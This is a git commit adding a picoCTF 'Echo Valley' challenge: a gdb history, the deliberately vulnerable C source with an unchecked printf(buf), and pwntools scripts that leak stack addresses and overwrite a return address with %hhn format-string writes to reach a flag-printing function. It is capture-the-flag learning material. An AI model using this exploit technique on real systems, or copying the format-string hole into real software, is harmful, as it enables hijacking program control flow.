Echo Valley

This commit is contained in:
THEON-1
2025-12-19 19:04:12 +01:00
parent 7f8436f98a
commit 2359a500a2
5 changed files with 405 additions and 0 deletions

242
echo_valley/.gdb_history Normal file
View File

@@ -0,0 +1,242 @@
disassemble main
disassemble echo_valley
b *echo_valley+218
r
r
r
r
stackf
AAAA.%p.%p.%p.%p.%p.%p
r
nexti
r
stackf
nexti
r
stepi
stackf
next
next
next
next
next
next
next
next
next
next
next
next
next
next
nextret
next
r
stepi
stackf
nextret
nexti
stackf
r
disassemble echo_valley
stackf
help stackf
stackf 8 -10
stackf 8
stackf 8 10
stackf 8 -100
stackf 16 -10
hexdump $sp
hexdump $sp-0x60
hexdump $sp-0x60 100
hexdump $sp-0x60 1000
hexdump $sp-0x60 100
stackf
hexdump $sp-0x60 100
stackf
nextret
r
stackf
hexdump $sp-0x60 200
necti
nexti
stackf
r
stepi
stackf
r
stackf
nexti
stackf
r
stackf
stepi
stackf
nextret
r
stackf
stepi
stackf
nextret
exit
disassemble echo_valley
b *echo_valley+201
r
nexti
exit
disassemble echo_valley
b *echo_valley+218
r
nexti
stackf
exit
b *echo_valley+218
r
stackf
exit
b *echo_valley+218
r
nexti
stackf
exit
b *echo_valley+218
r
stackf
hexdump
hexdump 20
hexdump $sp 20
hexdump $sp 100
hexdump $sp 120
hexdump $sp 140
nexti
exit
b *echo_valley+218
r
nexti
stackf
hexdump $sp 140
exit()
lexit
exit
b *echo_valley+218
disassemble echo_valley
r
nexti
stackg
stackf
hexdump $sp 140
xit
exit
exit
nexti
nexti
r
exit
stackf
stackf
nexti
nextret
nextret
nextret
nextret
nextret
nextret
nextret
nextret
stackf
nextret
nextret
nextret
stackf
exit
exit
exit
disassemble echo-valley
disassemble echo_valley
nextret
nextret
exit
disassemble echo_valley
b *echo_valley+163
nextret
stackf
exit
disassemble echo_valley
b *echo_valley+218
r
help printf
printf "\01\02"
printf "\x01\x02"
printf "\x61\x62"
printf "\x41\x41"
disassemble valloc
exit
disassemble echo_valley
b *echo_valley+218
stackf
stackf help
stackf 20
stackf 20 -1
stackf 20 -2
stackf 20 1
stackf 20 2
stackf 20 3
stack-explore
stack
stackf
r
exit
b *echo_valley+218
exit
b *echo_valley+218
continue
stackf
nexti
stackf
exit
b *echo_valley+218
continue
nexti
stackf
exit
b *echo_valley+218
continue
nexti
exit
b *echo_valley+218
continue
nexti
hexdump $sp 140
continue
stackf
hexdump $sp 140
nexti
stackf
hexdump $sp 140
exit
b *echo_valley+218
continue
nexti
continue
nexti
stackf
hexdump $sp 140
exit
b *echo_valley+218
continue
hexdump $sp 140
nexti
hexdump $sp 140
exit
b *echo_valley+218
continue
hexdump $sp 140
nexti
hexdump $sp 140
continue
hexdump $sp 140
nexti
hexdump $sp 140
continue
exit
exit

51
echo_valley/manual.py Executable file
View File

@@ -0,0 +1,51 @@
#!/usr/bin/env python
from pwn import *
context.terminal = "kitty"
def write(data):
print(f"data to send: {data}")
return input("enter result: ").encode()
address_leak_string = write(b"AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
print(f"received {address_leak_string}")
dot = address_leak_string.rfind(b'.')
address_leak = int(address_leak_string[dot+1:], 16)
print(f"return address: {hex(address_leak)}")
dot2 = address_leak_string.rfind(b'.', 0, dot)
stack_address_leak_after_ret = int(address_leak_string[dot2+1:dot], 16)
stack_address_ret = stack_address_leak_after_ret - 8
print(f"found stack address of ret pointer: {hex(stack_address_ret)}")
address_offset = 18
main_offset = 0x1401
print_flag_offset = 0x1269
address_to_return_to = address_leak - address_offset - main_offset + print_flag_offset
print(f"jump address is: {hex(address_to_return_to)}")
# only 2 least significant address bytes have to be rewritten
print(f"first byte address: {p64(stack_address_ret)}")
# produces string that writes 0<=n<=255 to byte at address
# offset for alignment of memory address
# here, use offset 2
def produce_writer(n, address, offset=0, op=b"hhn"):
if n < 0:
log.error(f"n has to be >= 0, is {n}")
exit()
if n < 8:
n_pre = n
n_post = 8 - n_pre + offset
return b'.'*n_pre + b"%8$" + op + b'.'*n_post + address
else:
return f"%{n:03}$x..".encode() + b"%8$" + op + b'.'*offset + address
lower_byte_value = address_to_return_to%256
upper_byte_value = (address_to_return_to>>8)%256
print(f"lower byte value: {lower_byte_value}\nupper byte value: {upper_byte_value}")
write_lower_byte = write(produce_writer(0, p64(stack_address_ret), offset=2))
write_upper_byte = write(produce_writer(0, p64(stack_address_ret+1), offset=2))
conn.interactive(term.text.bold_red(">> "))

63
echo_valley/sol.py Executable file
View File

@@ -0,0 +1,63 @@
#!/usr/bin/env python
from pwn import *
#conn = process("./valley")
conn = remote("shape-facility.picoctf.net", 53287)
conn.recvline()
def write(data):
conn.sendline(data)
conn.recvuntil(b"e: ")
return conn.recvline(keepends=False)
address_leak_string = write(b"AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
log.info(f"received {address_leak_string}")
dot = address_leak_string.rfind(b'.')
address_leak = int(address_leak_string[dot+1:], 16)
log.info(f"return address: {hex(address_leak)}")
dot2 = address_leak_string.rfind(b'.', 0, dot)
stack_address_leak_after_ret = int(address_leak_string[dot2+1:dot], 16)
stack_address_ret = stack_address_leak_after_ret - 8
log.info(f"found stack address of ret pointer: {hex(stack_address_ret)}")
address_offset = 18
main_offset = 0x1401
print_flag_offset = 0x1269
address_to_return_to = address_leak - address_offset - main_offset + print_flag_offset
log.info(f"jump address is: {hex(address_to_return_to)}")
# only 2 least significant address bytes have to be rewritten
log.info(f"first byte address: {p64(stack_address_ret)}")
# produces string that writes 0<=n<=255 to byte at address
# offset for alignment of memory address
# here, use offset 2
def produce_writer(n, address, offset=0, op=b"hhn"):
if n < 0:
log.error(f"n has to be >= 0, is {n}")
exit()
if n < 8:
n_pre = n
n_post = 8 - n_pre + offset
return b'.'*n_pre + b"%8$" + op + b'.'*n_post + address
else:
return f"%{(n-3):03}x...".encode() + b"%8$" + op + b'.'*offset + address
lower_byte_value = address_to_return_to%256
upper_byte_value = (address_to_return_to>>8)%256
lower_byte_writer = produce_writer(lower_byte_value, p64(stack_address_ret), offset=2)
log.info(f"writing lower byte value to {hex(lower_byte_value)} on enter with string {lower_byte_writer}")
write_lower_byte = conn.sendline(lower_byte_writer)
upper_byte_writer = produce_writer(upper_byte_value, p64(stack_address_ret+1), offset=2)
log.info(f"writing upp byte value to {hex(upper_byte_value)} on enter with string {upper_byte_writer}")
write_upper_byte = conn.sendline(upper_byte_writer)
conn.sendline(b"exit")
conn.recvuntil(b"The Valley Disappears\n")
rest = conn.recvall()
log.info(f"got {rest}")

BIN
echo_valley/valley Executable file

Binary file not shown.

49
echo_valley/valley.c Normal file
View File

@@ -0,0 +1,49 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void print_flag() {
char buf[32];
FILE *file = fopen("/home/valley/flag.txt", "r");
if (file == NULL) {
perror("Failed to open flag file");
exit(EXIT_FAILURE);
}
fgets(buf, sizeof(buf), file);
printf("Congrats! Here is your flag: %s", buf);
fclose(file);
exit(EXIT_SUCCESS);
}
void echo_valley() {
printf("Welcome to the Echo Valley, Try Shouting: \n");
char buf[100];
while(1)
{
fflush(stdout);
if (fgets(buf, sizeof(buf), stdin) == NULL) {
printf("\nEOF detected. Exiting...\n");
exit(0);
}
if (strcmp(buf, "exit\n") == 0) {
printf("The Valley Disappears\n");
break;
}
printf("You heard in the distance: ");
printf(buf);
fflush(stdout);
}
fflush(stdout);
}
int main()
{
echo_valley();
return 0;
}